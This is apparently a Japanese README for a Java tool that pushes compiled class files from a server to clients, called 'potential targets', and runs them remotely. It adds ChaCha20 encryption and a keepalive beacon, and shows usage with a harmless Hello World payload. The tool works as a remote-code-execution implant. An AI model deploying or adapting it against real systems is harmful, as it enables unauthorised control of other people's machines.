このツールを使用すると、Javaクラスファイルの形式でJavaバイトコードをクライアント（または潜在的なターゲット）に送信し、Java ClassLoaderとReflect APIを使用してロードおよび実行できます。クライアントはサーバーからクラスファイルを受信し、それぞれの実行出力を返します。ペイロードはJavaで記述し、サーバーを起動する前にコンパイルする必要があります。

特徴

クライアント・サーバーアーキテクチャ
Javaクラスファイルのリモートローディング
ChaCha20暗号を使用した転送中の暗号化
引数による設定定義
サーバー再起動時に通信を再確立するキープアライブ機構

インストール

このツールは、WindowsとLinuxの両方で、OpenJDK 11とJRE Javaパッケージを使用してテストされています（zipポータブル版）。依存関係のため、Javaバージョンは11以上である必要があります。

https://www.openlogic.com/openjdk-downloads

使い方

$ java -jar java-class-loader.jar -help

usage: Main
 -address <arg>       address to connect (client) / to bind (server)
 -classfile <arg>     filename of bytecode .class file to load remotely
                      (default: Payload.class)
 -classmethod <arg>   name of method to invoke (default: exec)
 -classname <arg>     name of class (default: Payload)
 -client              run as client
 -help                print this message
 -keepalive           keeps the client getting classfile from server every
                      X seconds (default: 3 seconds)
 -key <arg>           secret key - 256 bits in base64 format (if not
                      specified it will generate a new one)
 -port <arg>          port to connect (client) / to bind (server)
 -server              run as server

例

次の Hello World ペイロードが Payload.java ファイルにあると仮定します:

//Payload.java
public class Payload {
    public static String exec() {
        String output = "";
        try {
            output = "Hello world from client!";
        } catch (Exception e) {
            e.printStackTrace();
        }
        return output;
    }
}

次に、コンパイルして対応する Payload.class ファイルを生成する必要があります。

すべてのネットインターフェースでポート1337をリッスンするサーバープロセスを実行するには:

$ java -jar java-class-loader.jar -server -address 0.0.0.0 -port 1337 -classfile Payload.class

Running as server
Server running on 0.0.0.0:1337
Generated new key: TOU3TLn1QsayL1K6tbNOzDK69MstouEyNLMGqzqNIrQ=

クライアント側では、同じJARパッケージを -client フラグで使用し、サーバーによって生成された対称鍵を使用できます。接続先のサーバーIPアドレスとポートを指定します。クラス名とクラスメソッドも変更できます（デフォルトはそれぞれ Payload と String exec() です）。さらに、-keepalive を指定すると、接続を維持しながらクライアントがサーバーにクラスファイルを要求し続けることができます。

$ java -jar java-class-loader.jar -client -address 192.168.1.73 -port 1337 -key TOU3TLn1QsayL1K6tbNOzDK69MstouEyNLMGqzqNIrQ=

Running as client
Connecting to 192.168.1.73:1337
Received 593 bytes from server
Output from invoked class method: Hello world from client!
Sent 24 bytes to server

参考文献

このツールの開発に関するブログ記事については、https://vrls.ws/posts/2022/08/building-a-remote-class-loader-in-java/ を参照してください。

java-remote-class-loader

人気